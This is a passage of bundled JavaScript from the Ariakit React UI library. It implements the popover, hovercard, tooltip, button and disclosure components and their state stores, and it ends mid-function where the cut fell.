9081 left: arrowX != null ? `${arrowX}px` : "",
9082 top: arrowY != null ? `${arrowY}px` : "",
9083 [side]: "100%"
9084 });
9085 }
9086 };
9087 const update = async () => {
9088 if (hasCustomUpdatePosition) {
9089 await updatePositionProp({ updatePosition: updatePosition2 });
9090 setPositioned(true);
9091 } else {
9092 await updatePosition2();
9093 }
9094 };
9095 const cancelAutoUpdate = autoUpdate(anchor, popoverElement, update, {
9096 // JSDOM doesn't support ResizeObserver
9097 elementResize: typeof ResizeObserver === "function"
9098 });
9099 return () => {
9100 setPositioned(false);
9101 cancelAutoUpdate();
9102 };
9103 }, [
9104 store,
9105 rendered,
9106 popoverElement,
9107 arrowElement,
9108 anchorElement,
9109 popoverElement,
9110 placement,
9111 mounted,
9112 domReady,
9113 fixed,
9114 flip22,
9115 shift22,
9116 slide,
9117 overlap,
9118 sameWidth,
9119 fitViewport,
9120 gutter,
9121 arrowPadding,
9122 overflowPadding,
9123 getAnchorRectProp,
9124 hasCustomUpdatePosition,
9125 updatePositionProp
9126 ]);
9127 useSafeLayoutEffect(() => {
9128 if (!mounted) return;
9129 if (!domReady) return;
9130 if (!(popoverElement == null ? void 0 : popoverElement.isConnected)) return;
9131 if (!(contentElement == null ? void 0 : contentElement.isConnected)) return;
9132 const applyZIndex = () => {
9133 popoverElement.style.zIndex = getComputedStyle(contentElement).zIndex;
9134 };
9135 applyZIndex();
9136 let raf = requestAnimationFrame(() => {
9137 raf = requestAnimationFrame(applyZIndex);
9138 });
9139 return () => cancelAnimationFrame(raf);
9140 }, [mounted, domReady, popoverElement, contentElement]);
9141 const position2 = fixed ? "fixed" : "absolute";
9142 props = useWrapElement(
9143 props,
9144 (element) => /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
9145 "div",
9146 {
9147 ...wrapperProps,
9148 style: {
9149 // https://floating-ui.com/docs/computeposition#initial-layout
9150 position: position2,
9151 top: 0,
9152 left: 0,
9153 width: "max-content",
9154 ...wrapperProps == null ? void 0 : wrapperProps.style
9155 },
9156 ref: store == null ? void 0 : store.setPopoverElement,
9157 children: element
9158 }
9159 ),
9160 [store, position2, wrapperProps]
9161 );
9162 props = useWrapElement(
9163 props,
9164 (element) => /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(PopoverScopedContextProvider, { value: store, children: element }),
9165 [store]
9166 );
9167 props = {
9168 // data-placing is not part of the public API. We're setting this here so
9169 // we can wait for the popover to be positioned before other components
9170 // move focus into it. For example, this attribute is observed by the
9171 // Combobox component with the autoSelect behavior.
9172 "data-placing": !positioned || void 0,
9173 ...props,
9174 style: {
9175 position: "relative",
9176 ...props.style
9177 }
9178 };
9179 props = useDialog({
9180 store,
9181 modal,
9182 portal,
9183 preserveTabOrder,
9184 preserveTabOrderAnchor: disclosureElement || anchorElement,
9185 autoFocusOnShow: positioned && autoFocusOnShow,
9186 ...props,
9187 portalRef
9188 });
9189 return props;
9190 }
9191 );
9192 var Popover = createDialogComponent(
9193 forwardRef2(function Popover2(props) {
9194 const htmlProps = usePopover(props);
9195 return createElement(TagName20, htmlProps);
9196 }),
9197 usePopoverProviderContext
9198 );
9199
9200 // node_modules/@ariakit/react-core/esm/__chunks/4HTVKX2Y.js
9201 var import_react29 = __toESM(require_react(), 1);
9202 var import_jsx_runtime16 = __toESM(require_jsx_runtime(), 1);
9203 var TagName21 = "div";
9204 function isMovingOnHovercard(target, card, anchor, nested) {
9205 if (hasFocusWithin(card)) return true;
9206 if (!target) return false;
9207 if (contains(card, target)) return true;
9208 if (anchor && contains(anchor, target)) return true;
9209 if (nested == null ? void 0 : nested.some((card2) => isMovingOnHovercard(target, card2, anchor))) {
9210 return true;
9211 }
9212 return false;
9213 }
9214 function useAutoFocusOnHide({
9215 store,
9216 ...props
9217 }) {
9218 const [autoFocusOnHide, setAutoFocusOnHide] = (0, import_react29.useState)(false);
9219 const mounted = store.useState("mounted");
9220 (0, import_react29.useEffect)(() => {
9221 if (!mounted) {
9222 setAutoFocusOnHide(false);
9223 }
9224 }, [mounted]);
9225 const onFocusProp = props.onFocus;
9226 const onFocus = useEvent((event) => {
9227 onFocusProp == null ? void 0 : onFocusProp(event);
9228 if (event.defaultPrevented) return;
9229 setAutoFocusOnHide(true);
9230 });
9231 const finalFocusRef = (0, import_react29.useRef)(null);
9232 (0, import_react29.useEffect)(() => {
9233 return sync(store, ["anchorElement"], (state) => {
9234 finalFocusRef.current = state.anchorElement;
9235 });
9236 }, []);
9237 props = {
9238 autoFocusOnHide,
9239 finalFocus: finalFocusRef,
9240 ...props,
9241 onFocus
9242 };
9243 return props;
9244 }
9245 var NestedHovercardContext = (0, import_react29.createContext)(null);
9246 var useHovercard = createHook(
9247 function useHovercard2({
9248 store,
9249 modal = false,
9250 portal = !!modal,
9251 hideOnEscape = true,
9252 hideOnHoverOutside = true,
9253 disablePointerEventsOnApproach = !!hideOnHoverOutside,
9254 ...props
9255 }) {
9256 const context = useHovercardProviderContext();
9257 store = store || context;
9258 invariant(
9259 store,
9260 "Hovercard must receive a `store` prop or be wrapped in a HovercardProvider component."
9261 );
9262 const ref = (0, import_react29.useRef)(null);
9263 const [nestedHovercards, setNestedHovercards] = (0, import_react29.useState)([]);
9264 const hideTimeoutRef = (0, import_react29.useRef)(0);
9265 const enterPointRef = (0, import_react29.useRef)(null);
9266 const { portalRef, domReady } = usePortalRef(portal, props.portalRef);
9267 const isMouseMoving = useIsMouseMoving();
9268 const mayHideOnHoverOutside = !!hideOnHoverOutside;
9269 const hideOnHoverOutsideProp = useBooleanEvent(hideOnHoverOutside);
9270 const mayDisablePointerEvents = !!disablePointerEventsOnApproach;
9271 const disablePointerEventsProp = useBooleanEvent(
9272 disablePointerEventsOnApproach
9273 );
9274 const open = store.useState("open");
9275 const mounted = store.useState("mounted");
9276 (0, import_react29.useEffect)(() => {
9277 if (!domReady) return;
9278 if (!mounted) return;
9279 if (!mayHideOnHoverOutside && !mayDisablePointerEvents) return;
9280 const element = ref.current;
9281 if (!element) return;
9282 const onMouseMove = (event) => {
9283 if (!store) return;
9284 if (!isMouseMoving()) return;
9285 const { anchorElement, hideTimeout, timeout } = store.getState();
9286 const enterPoint = enterPointRef.current;
9287 const [target] = event.composedPath();
9288 const anchor = anchorElement;
9289 if (isMovingOnHovercard(target, element, anchor, nestedHovercards)) {
9290 enterPointRef.current = target && anchor && contains(anchor, target) ? getEventPoint(event) : null;
9291 window.clearTimeout(hideTimeoutRef.current);
9292 hideTimeoutRef.current = 0;
9293 return;
9294 }
9295 if (hideTimeoutRef.current) return;
9296 if (enterPoint) {
9297 const currentPoint = getEventPoint(event);
9298 const polygon = getElementPolygon(element, enterPoint);
9299 if (isPointInPolygon(currentPoint, polygon)) {
9300 enterPointRef.current = currentPoint;
9301 if (!disablePointerEventsProp(event)) return;
9302 event.preventDefault();
9303 event.stopPropagation();
9304 return;
9305 }
9306 }
9307 if (!hideOnHoverOutsideProp(event)) return;
9308 hideTimeoutRef.current = window.setTimeout(() => {
9309 hideTimeoutRef.current = 0;
9310 store == null ? void 0 : store.hide();
9311 }, hideTimeout != null ? hideTimeout : timeout);
9312 };
9313 return chain(
9314 addGlobalEventListener("mousemove", onMouseMove, true),
9315 () => clearTimeout(hideTimeoutRef.current)
9316 );
9317 }, [
9318 store,
9319 isMouseMoving,
9320 domReady,
9321 mounted,
9322 mayHideOnHoverOutside,
9323 mayDisablePointerEvents,
9324 nestedHovercards,
9325 disablePointerEventsProp,
9326 hideOnHoverOutsideProp
9327 ]);
9328 (0, import_react29.useEffect)(() => {
9329 if (!domReady) return;
9330 if (!mounted) return;
9331 if (!mayDisablePointerEvents) return;
9332 const disableEvent = (event) => {
9333 const element = ref.current;
9334 if (!element) return;
9335 const enterPoint = enterPointRef.current;
9336 if (!enterPoint) return;
9337 const polygon = getElementPolygon(element, enterPoint);
9338 if (isPointInPolygon(getEventPoint(event), polygon)) {
9339 if (!disablePointerEventsProp(event)) return;
9340 event.preventDefault();
9341 event.stopPropagation();
9342 }
9343 };
9344 return chain(
9345 // Note: we may need to add pointer events here in the future.
9346 addGlobalEventListener("mouseenter", disableEvent, true),
9347 addGlobalEventListener("mouseover", disableEvent, true),
9348 addGlobalEventListener("mouseout", disableEvent, true),
9349 addGlobalEventListener("mouseleave", disableEvent, true)
9350 );
9351 }, [domReady, mounted, mayDisablePointerEvents, disablePointerEventsProp]);
9352 (0, import_react29.useEffect)(() => {
9353 if (!domReady) return;
9354 if (open) return;
9355 store == null ? void 0 : store.setAutoFocusOnShow(false);
9356 }, [store, domReady, open]);
9357 const openRef = useLiveRef(open);
9358 (0, import_react29.useEffect)(() => {
9359 if (!domReady) return;
9360 return () => {
9361 if (!openRef.current) {
9362 store == null ? void 0 : store.setAutoFocusOnShow(false);
9363 }
9364 };
9365 }, [store, domReady]);
9366 const registerOnParent = (0, import_react29.useContext)(NestedHovercardContext);
9367 useSafeLayoutEffect(() => {
9368 if (modal) return;
9369 if (!portal) return;
9370 if (!mounted) return;
9371 if (!domReady) return;
9372 const element = ref.current;
9373 if (!element) return;
9374 return registerOnParent == null ? void 0 : registerOnParent(element);
9375 }, [modal, portal, mounted, domReady]);
9376 const registerNestedHovercard = (0, import_react29.useCallback)(
9377 (element) => {
9378 setNestedHovercards((prevElements) => [...prevElements, element]);
9379 const parentUnregister = registerOnParent == null ? void 0 : registerOnParent(element);
9380 return () => {
9381 setNestedHovercards(
9382 (prevElements) => prevElements.filter((item2) => item2 !== element)
9383 );
9384 parentUnregister == null ? void 0 : parentUnregister();
9385 };
9386 },
9387 [registerOnParent]
9388 );
9389 props = useWrapElement(
9390 props,
9391 (element) => /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(HovercardScopedContextProvider, { value: store, children: /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(NestedHovercardContext.Provider, { value: registerNestedHovercard, children: element }) }),
9392 [store, registerNestedHovercard]
9393 );
9394 props = {
9395 ...props,
9396 ref: useMergeRefs(ref, props.ref)
9397 };
9398 props = useAutoFocusOnHide({ store, ...props });
9399 const autoFocusOnShow = store.useState(
9400 (state) => modal || state.autoFocusOnShow
9401 );
9402 props = usePopover({
9403 store,
9404 modal,
9405 portal,
9406 autoFocusOnShow,
9407 ...props,
9408 portalRef,
9409 hideOnEscape(event) {
9410 if (isFalsyBooleanCallback(hideOnEscape, event)) return false;
9411 requestAnimationFrame(() => {
9412 requestAnimationFrame(() => {
9413 store == null ? void 0 : store.hide();
9414 });
9415 });
9416 return true;
9417 }
9418 });
9419 return props;
9420 }
9421 );
9422 var Hovercard = createDialogComponent(
9423 forwardRef2(function Hovercard2(props) {
9424 const htmlProps = useHovercard(props);
9425 return createElement(TagName21, htmlProps);
9426 }),
9427 useHovercardProviderContext
9428 );
9429
9430 // node_modules/@ariakit/react-core/esm/tooltip/tooltip.js
9431 var import_jsx_runtime17 = __toESM(require_jsx_runtime(), 1);
9432 var TagName22 = "div";
9433 var useTooltip = createHook(
9434 function useTooltip2({
9435 store,
9436 portal = true,
9437 gutter = 8,
9438 preserveTabOrder = false,
9439 hideOnHoverOutside = true,
9440 hideOnInteractOutside = true,
9441 ...props
9442 }) {
9443 const context = useTooltipProviderContext();
9444 store = store || context;
9445 invariant(
9446 store,
9447 "Tooltip must receive a `store` prop or be wrapped in a TooltipProvider component."
9448 );
9449 props = useWrapElement(
9450 props,
9451 (element) => /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(TooltipScopedContextProvider, { value: store, children: element }),
9452 [store]
9453 );
9454 const role = store.useState(
9455 (state) => state.type === "description" ? "tooltip" : "none"
9456 );
9457 props = { role, ...props };
9458 props = useHovercard({
9459 ...props,
9460 store,
9461 portal,
9462 gutter,
9463 preserveTabOrder,
9464 hideOnHoverOutside(event) {
9465 if (isFalsyBooleanCallback(hideOnHoverOutside, event)) return false;
9466 const anchorElement = store == null ? void 0 : store.getState().anchorElement;
9467 if (!anchorElement) return true;
9468 if ("focusVisible" in anchorElement.dataset) return false;
9469 return true;
9470 },
9471 hideOnInteractOutside: (event) => {
9472 if (isFalsyBooleanCallback(hideOnInteractOutside, event)) return false;
9473 const anchorElement = store == null ? void 0 : store.getState().anchorElement;
9474 if (!anchorElement) return true;
9475 if (contains(anchorElement, event.target)) return false;
9476 return true;
9477 }
9478 });
9479 return props;
9480 }
9481 );
9482 var Tooltip = createDialogComponent(
9483 forwardRef2(function Tooltip2(props) {
9484 const htmlProps = useTooltip(props);
9485 return createElement(TagName22, htmlProps);
9486 }),
9487 useTooltipProviderContext
9488 );
9489
9490 // node_modules/@ariakit/react-core/esm/__chunks/2XVFVSLB.js
9491 var import_react30 = __toESM(require_react(), 1);
9492 var TagName23 = "a";
9493 var useHovercardAnchor = createHook(
9494 function useHovercardAnchor2({ store, showOnHover = true, ...props }) {
9495 const context = useHovercardProviderContext();
9496 store = store || context;
9497 invariant(
9498 store,
9499 "HovercardAnchor must receive a `store` prop or be wrapped in a HovercardProvider component."
9500 );
9501 const disabled = disabledFromProps(props);
9502 const showTimeoutRef = (0, import_react30.useRef)(0);
9503 (0, import_react30.useEffect)(() => () => window.clearTimeout(showTimeoutRef.current), []);
9504 (0, import_react30.useEffect)(() => {
9505 const onMouseLeave = (event) => {
9506 if (!store) return;
9507 const { anchorElement } = store.getState();
9508 if (!anchorElement) return;
9509 if (event.target !== anchorElement) return;
9510 window.clearTimeout(showTimeoutRef.current);
9511 showTimeoutRef.current = 0;
9512 };
9513 return addGlobalEventListener("mouseleave", onMouseLeave, true);
9514 }, [store]);
9515 const onMouseMoveProp = props.onMouseMove;
9516 const showOnHoverProp = useBooleanEvent(showOnHover);
9517 const isMouseMoving = useIsMouseMoving();
9518 const onMouseMove = useEvent((event) => {
9519 onMouseMoveProp == null ? void 0 : onMouseMoveProp(event);
9520 if (disabled) return;
9521 if (!store) return;
9522 if (event.defaultPrevented) return;
9523 if (showTimeoutRef.current) return;
9524 if (!isMouseMoving()) return;
9525 if (!showOnHoverProp(event)) return;
9526 const element = event.currentTarget;
9527 store.setAnchorElement(element);
9528 store.setDisclosureElement(element);
9529 const { showTimeout, timeout } = store.getState();
9530 const showHovercard = () => {
9531 showTimeoutRef.current = 0;
9532 if (!isMouseMoving()) return;
9533 store == null ? void 0 : store.setAnchorElement(element);
9534 store == null ? void 0 : store.show();
9535 queueMicrotask(() => {
9536 store == null ? void 0 : store.setDisclosureElement(element);
9537 });
9538 };
9539 const timeoutMs = showTimeout != null ? showTimeout : timeout;
9540 if (timeoutMs === 0) {
9541 showHovercard();
9542 } else {
9543 showTimeoutRef.current = window.setTimeout(showHovercard, timeoutMs);
9544 }
9545 });
9546 const onClickProp = props.onClick;
9547 const onClick = useEvent((event) => {
9548 onClickProp == null ? void 0 : onClickProp(event);
9549 if (!store) return;
9550 window.clearTimeout(showTimeoutRef.current);
9551 showTimeoutRef.current = 0;
9552 });
9553 const ref = (0, import_react30.useCallback)(
9554 (element) => {
9555 if (!store) return;
9556 const { anchorElement } = store.getState();
9557 if (anchorElement == null ? void 0 : anchorElement.isConnected) return;
9558 store.setAnchorElement(element);
9559 },
9560 [store]
9561 );
9562 props = {
9563 ...props,
9564 ref: useMergeRefs(ref, props.ref),
9565 onMouseMove,
9566 onClick
9567 };
9568 props = useFocusable(props);
9569 return props;
9570 }
9571 );
9572 var HovercardAnchor = forwardRef2(function HovercardAnchor2(props) {
9573 const htmlProps = useHovercardAnchor(props);
9574 return createElement(TagName23, htmlProps);
9575 });
9576
9577 // node_modules/@ariakit/react-core/esm/tooltip/tooltip-anchor.js
9578 var import_react31 = __toESM(require_react(), 1);
9579 var TagName24 = "div";
9580 var globalStore = createStore({
9581 activeStore: null
9582 });
9583 function createRemoveStoreCallback(store) {
9584 return () => {
9585 const { activeStore } = globalStore.getState();
9586 if (activeStore !== store) return;
9587 globalStore.setState("activeStore", null);
9588 };
9589 }
9590 var useTooltipAnchor = createHook(
9591 function useTooltipAnchor2({ store, showOnHover = true, ...props }) {
9592 const context = useTooltipProviderContext();
9593 store = store || context;
9594 invariant(
9595 store,
9596 "TooltipAnchor must receive a `store` prop or be wrapped in a TooltipProvider component."
9597 );
9598 const canShowOnHoverRef = (0, import_react31.useRef)(false);
9599 (0, import_react31.useEffect)(() => {
9600 return sync(store, ["mounted"], (state) => {
9601 if (state.mounted) return;
9602 canShowOnHoverRef.current = false;
9603 });
9604 }, [store]);
9605 (0, import_react31.useEffect)(() => {
9606 if (!store) return;
9607 return chain(
9608 // Immediately remove the current store from the global store when
9609 // the component unmounts. This is useful, for example, to avoid
9610 // showing tooltips immediately on serial tests.
9611 createRemoveStoreCallback(store),
9612 sync(store, ["mounted", "skipTimeout"], (state) => {
9613 if (!store) return;
9614 if (state.mounted) {
9615 const { activeStore } = globalStore.getState();
9616 if (activeStore !== store) {
9617 activeStore == null ? void 0 : activeStore.hide();
9618 }
9619 return globalStore.setState("activeStore", store);
9620 }
9621 const id3 = setTimeout(
9622 createRemoveStoreCallback(store),
9623 state.skipTimeout
9624 );
9625 return () => clearTimeout(id3);
9626 })
9627 );
9628 }, [store]);
9629 const onMouseEnterProp = props.onMouseEnter;
9630 const onMouseEnter = useEvent((event) => {
9631 onMouseEnterProp == null ? void 0 : onMouseEnterProp(event);
9632 canShowOnHoverRef.current = true;
9633 });
9634 const onFocusVisibleProp = props.onFocusVisible;
9635 const onFocusVisible = useEvent((event) => {
9636 onFocusVisibleProp == null ? void 0 : onFocusVisibleProp(event);
9637 if (event.defaultPrevented) return;
9638 store == null ? void 0 : store.setAnchorElement(event.currentTarget);
9639 store == null ? void 0 : store.show();
9640 });
9641 const onBlurProp = props.onBlur;
9642 const onBlur = useEvent((event) => {
9643 onBlurProp == null ? void 0 : onBlurProp(event);
9644 if (event.defaultPrevented) return;
9645 const { activeStore } = globalStore.getState();
9646 canShowOnHoverRef.current = false;
9647 if (activeStore === store) {
9648 globalStore.setState("activeStore", null);
9649 }
9650 });
9651 const type = store.useState("type");
9652 const contentId = store.useState((state) => {
9653 var _a;
9654 return (_a = state.contentElement) == null ? void 0 : _a.id;
9655 });
9656 props = {
9657 "aria-labelledby": type === "label" ? contentId : void 0,
9658 ...props,
9659 onMouseEnter,
9660 onFocusVisible,
9661 onBlur
9662 };
9663 props = useHovercardAnchor({
9664 store,
9665 showOnHover(event) {
9666 if (!canShowOnHoverRef.current) return false;
9667 if (isFalsyBooleanCallback(showOnHover, event)) return false;
9668 const { activeStore } = globalStore.getState();
9669 if (!activeStore) return true;
9670 store == null ? void 0 : store.show();
9671 return false;
9672 },
9673 ...props
9674 });
9675 return props;
9676 }
9677 );
9678 var TooltipAnchor = forwardRef2(function TooltipAnchor2(props) {
9679 const htmlProps = useTooltipAnchor(props);
9680 return createElement(TagName24, htmlProps);
9681 });
9682
9683 // node_modules/@ariakit/core/esm/__chunks/BFGNM53A.js
9684 function createPopoverStore({
9685 popover: otherPopover,
9686 ...props
9687 } = {}) {
9688 const store = mergeStore(
9689 props.store,
9690 omit2(otherPopover, [
9691 "arrowElement",
9692 "anchorElement",
9693 "contentElement",
9694 "popoverElement",
9695 "disclosureElement"
9696 ])
9697 );
9698 throwOnConflictingProps(props, store);
9699 const syncState = store == null ? void 0 : store.getState();
9700 const dialog = createDialogStore({ ...props, store });
9701 const placement = defaultValue(
9702 props.placement,
9703 syncState == null ? void 0 : syncState.placement,
9704 "bottom"
9705 );
9706 const initialState = {
9707 ...dialog.getState(),
9708 placement,
9709 currentPlacement: placement,
9710 anchorElement: defaultValue(syncState == null ? void 0 : syncState.anchorElement, null),
9711 popoverElement: defaultValue(syncState == null ? void 0 : syncState.popoverElement, null),
9712 arrowElement: defaultValue(syncState == null ? void 0 : syncState.arrowElement, null),
9713 rendered: /* @__PURE__ */ Symbol("rendered")
9714 };
9715 const popover = createStore(initialState, dialog, store);
9716 return {
9717 ...dialog,
9718 ...popover,
9719 setAnchorElement: (element) => popover.setState("anchorElement", element),
9720 setPopoverElement: (element) => popover.setState("popoverElement", element),
9721 setArrowElement: (element) => popover.setState("arrowElement", element),
9722 render: () => popover.setState("rendered", /* @__PURE__ */ Symbol("rendered"))
9723 };
9724 }
9725
9726 // node_modules/@ariakit/react-core/esm/__chunks/B6FLPFJM.js
9727 function usePopoverStoreProps(store, update, props) {
9728 useUpdateEffect(update, [props.popover]);
9729 useStoreProps(store, props, "placement");
9730 return useDialogStoreProps(store, update, props);
9731 }
9732
9733 // node_modules/@ariakit/core/esm/__chunks/TIQDSBWP.js
9734 function createHovercardStore(props = {}) {
9735 var _a;
9736 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
9737 const popover = createPopoverStore({
9738 ...props,
9739 placement: defaultValue(
9740 props.placement,
9741 syncState == null ? void 0 : syncState.placement,
9742 "bottom"
9743 )
9744 });
9745 const timeout = defaultValue(props.timeout, syncState == null ? void 0 : syncState.timeout, 500);
9746 const initialState = {
9747 ...popover.getState(),
9748 timeout,
9749 showTimeout: defaultValue(props.showTimeout, syncState == null ? void 0 : syncState.showTimeout),
9750 hideTimeout: defaultValue(props.hideTimeout, syncState == null ? void 0 : syncState.hideTimeout),
9751 autoFocusOnShow: defaultValue(syncState == null ? void 0 : syncState.autoFocusOnShow, false)
9752 };
9753 const hovercard = createStore(initialState, popover, props.store);
9754 return {
9755 ...popover,
9756 ...hovercard,
9757 setAutoFocusOnShow: (value) => hovercard.setState("autoFocusOnShow", value)
9758 };
9759 }
9760
9761 // node_modules/@ariakit/react-core/esm/__chunks/ECBEZ4YM.js
9762 function useHovercardStoreProps(store, update, props) {
9763 useStoreProps(store, props, "timeout");
9764 useStoreProps(store, props, "showTimeout");
9765 useStoreProps(store, props, "hideTimeout");
9766 return usePopoverStoreProps(store, update, props);
9767 }
9768
9769 // node_modules/@ariakit/core/esm/tooltip/tooltip-store.js
9770 function createTooltipStore(props = {}) {
9771 var _a;
9772 if (true) {
9773 if (props.type === "label") {
9774 console.warn(
9775 "The `type` option on the tooltip store is deprecated.",
9776 "Render a visually hidden label or use the `aria-label` or `aria-labelledby` attributes on the anchor element instead.",
9777 "See https://ariakit.org/components/tooltip#tooltip-anchors-must-have-accessible-names"
9778 );
9779 }
9780 }
9781 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
9782 const hovercard = createHovercardStore({
9783 ...props,
9784 placement: defaultValue(
9785 props.placement,
9786 syncState == null ? void 0 : syncState.placement,
9787 "top"
9788 ),
9789 hideTimeout: defaultValue(props.hideTimeout, syncState == null ? void 0 : syncState.hideTimeout, 0)
9790 });
9791 const initialState = {
9792 ...hovercard.getState(),
9793 type: defaultValue(props.type, syncState == null ? void 0 : syncState.type, "description"),
9794 skipTimeout: defaultValue(props.skipTimeout, syncState == null ? void 0 : syncState.skipTimeout, 300)
9795 };
9796 const tooltip = createStore(initialState, hovercard, props.store);
9797 return {
9798 ...hovercard,
9799 ...tooltip
9800 };
9801 }
9802
9803 // node_modules/@ariakit/react-core/esm/__chunks/FFWYDZCP.js
9804 function useTooltipStoreProps(store, update, props) {
9805 useStoreProps(store, props, "type");
9806 useStoreProps(store, props, "skipTimeout");
9807 return useHovercardStoreProps(store, update, props);
9808 }
9809 function useTooltipStore(props = {}) {
9810 const [store, update] = useStore(createTooltipStore, props);
9811 return useTooltipStoreProps(store, update, props);
9812 }
9813
9814 // node_modules/@ariakit/react-core/esm/__chunks/2DUOQURA.js
9815 var import_react32 = __toESM(require_react(), 1);
9816 var menubar = createStoreContext(
9817 [CompositeContextProvider],
9818 [CompositeScopedContextProvider]
9819 );
9820 var useMenubarContext = menubar.useContext;
9821 var useMenubarScopedContext = menubar.useScopedContext;
9822 var useMenubarProviderContext = menubar.useProviderContext;
9823 var MenubarContextProvider = menubar.ContextProvider;
9824 var MenubarScopedContextProvider = menubar.ScopedContextProvider;
9825 var MenuItemCheckedContext = (0, import_react32.createContext)(
9826 void 0
9827 );
9828
9829 // node_modules/@ariakit/react-core/esm/__chunks/4POTBZ2J.js
9830 var TagName25 = "div";
9831 var usePopoverAnchor = createHook(
9832 function usePopoverAnchor2({ store, ...props }) {
9833 const context = usePopoverProviderContext();
9834 store = store || context;
9835 props = {
9836 ...props,
9837 ref: useMergeRefs(store == null ? void 0 : store.setAnchorElement, props.ref)
9838 };
9839 return props;
9840 }
9841 );
9842 var PopoverAnchor = forwardRef2(function PopoverAnchor2(props) {
9843 const htmlProps = usePopoverAnchor(props);
9844 return createElement(TagName25, htmlProps);
9845 });
9846
9847 // node_modules/@ariakit/react-core/esm/__chunks/HMKTUWOU.js
9848 var import_react33 = __toESM(require_react(), 1);
9849 var TagName26 = "button";
9850 var useButton = createHook(
9851 function useButton2(props) {
9852 const ref = (0, import_react33.useRef)(null);
9853 const tagName = useTagName(ref, TagName26);
9854 const [isNativeButton, setIsNativeButton] = (0, import_react33.useState)(
9855 () => !!tagName && isButton({ tagName, type: props.type })
9856 );
9857 (0, import_react33.useEffect)(() => {
9858 if (!ref.current) return;
9859 setIsNativeButton(isButton(ref.current));
9860 }, []);
9861 props = {
9862 role: !isNativeButton && tagName !== "a" ? "button" : void 0,
9863 ...props,
9864 ref: useMergeRefs(ref, props.ref)
9865 };
9866 props = useCommand(props);
9867 return props;
9868 }
9869 );
9870 var Button = forwardRef2(function Button2(props) {
9871 const htmlProps = useButton(props);
9872 return createElement(TagName26, htmlProps);
9873 });
9874
9875 // node_modules/@ariakit/react-core/esm/__chunks/NDVACHQI.js
9876 var import_react34 = __toESM(require_react(), 1);
9877 var TagName27 = "button";
9878 var symbol2 = /* @__PURE__ */ Symbol("disclosure");
9879 var useDisclosure = createHook(
9880 function useDisclosure2({ store, toggleOnClick = true, ...props }) {
9881 const context = useDisclosureProviderContext();
9882 store = store || context;
9883 invariant(
9884 store,
9885 "Disclosure must receive a `store` prop or be wrapped in a DisclosureProvider component."
9886 );
9887 const ref = (0, import_react34.useRef)(null);
9888 const [expanded, setExpanded] = (0, import_react34.useState)(false);
9889 const disclosureElement = store.useState("disclosureElement");
9890 const open = store.useState("open");
9891 (0, import_react34.useEffect)(() => {
9892 let isCurrentDisclosure = disclosureElement === ref.current;
9893 if (!(disclosureElement == null ? void 0 : disclosureElement.isConnected)) {
9894 store == null ? void 0 : store.setDisclosureElement(ref.current);
9895 isCurrentDisclosure = true;
9896 }
9897 setExpanded(open && isCurrentDisclosure);
9898 }, [disclosureElement, store, open]);
9899 const onClickProp = props.onClick;
9900 const toggleOnClickProp = useBooleanEvent(toggleOnClick);
9901 const [isDuplicate, metadataProps] = useMetadataProps(props, symbol2, true);
9902 const onClick = useEvent((event) => {
9903 onClickProp == null ? void 0 : onClickProp(event);
9904 if (event.defaultPrevented) return;
9905 if (isDuplicate) return;
9906 if (!toggleOnClickProp(event)) return;
9907 store == null ? void 0 : store.setDisclosureElement(event.currentTarget);
9908 store == null ? void 0 : store.toggle();
9909 });
9910 const contentElement = store.useState("contentElement");
9911 props = {
9912 "aria-expanded": expanded,
9913 "aria-controls": contentElement == null ? void 0 : contentElement.id,
9914 ...metadataProps,
9915 ...props,
9916 ref: useMergeRefs(ref, props.ref),
9917 onClick
9918 };
9919 props = useButton(props);
9920 return props;
9921 }
9922 );
9923 var Disclosure = forwardRef2(function Disclosure2(props) {
9924 const htmlProps = useDisclosure(props);
9925 return createElement(TagName27, htmlProps);
9926 });
9927
9928 // node_modules/@ariakit/react-core/esm/__chunks/APVORPDK.js
9929 var TagName28 = "button";
9930 var useDialogDisclosure = createHook(
9931 function useDialogDisclosure2({ store, ...props }) {
9932 const context = useDialogProviderContext();
9933 store = store || context;
9934 invariant(
9935 store,
9936 "DialogDisclosure must receive a `store` prop or be wrapped in a DialogProvider component."
9937 );
9938 const contentElement = store.useState("contentElement");
9939 props = {
9940 "aria-haspopup": getPopupRole(contentElement, "dialog"),
9941 ...props
9942 };
9943 props = useDisclosure({ store, ...props });
9944 return props;
9945 }
9946 );
9947 var DialogDisclosure = forwardRef2(function DialogDisclosure2(props) {
9948 const htmlProps = useDialogDisclosure(props);
9949 return createElement(TagName28, htmlProps);
9950 });
9951
9952 // node_modules/@ariakit/react-core/esm/__chunks/RFRKSHIZ.js
9953 var import_jsx_runtime18 = __toESM(require_jsx_runtime(), 1);
9954 var TagName29 = "button";
9955 var usePopoverDisclosure = createHook(function usePopoverDisclosure2({ store, ...props }) {
9956 const context = usePopoverProviderContext();
9957 store = store || context;
9958 invariant(
9959 store,
9960 "PopoverDisclosure must receive a `store` prop or be wrapped in a PopoverProvider component."
9961 );
9962 const onClickProp = props.onClick;
9963 const onClick = useEvent((event) => {
9964 store == null ? void 0 : store.setAnchorElement(event.currentTarget);
9965 onClickProp == null ? void 0 : onClickProp(event);
9966 });
9967 props = useWrapElement(
9968 props,
9969 (element) => /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(PopoverScopedContextProvider, { value: store, children: element }),
9970 [store]
9971 );
9972 props = {
9973 ...props,
9974 onClick
9975 };
9976 props = usePopoverAnchor({ store, ...props });
9977 props = useDialogDisclosure({ store, ...props });
9978 return props;
9979 });
9980 var PopoverDisclosure = forwardRef2(function PopoverDisclosure2(props) {
9981 const htmlProps = usePopoverDisclosure(props);
9982 return createElement(TagName29, htmlProps);
9983 });
9984
9985 // node_modules/@ariakit/react-core/esm/__chunks/37HM5VRA.js
9986 var import_react35 = __toESM(require_react(), 1);
9987 var import_jsx_runtime19 = __toESM(require_jsx_runtime(), 1);
9988 var TagName30 = "span";
9989 var pointsMap = {
9990 top: "4,10 8,6 12,10",
9991 right: "6,4 10,8 6,12",
9992 bottom: "4,6 8,10 12,6",
9993 left: "10,4 6,8 10,12"
9994 };
9995 var usePopoverDisclosureArrow = createHook(function usePopoverDisclosureArrow2({ store, placement, ...props }) {
9996 const context = usePopoverContext();
9997 store = store || context;
9998 invariant(
9999 store,
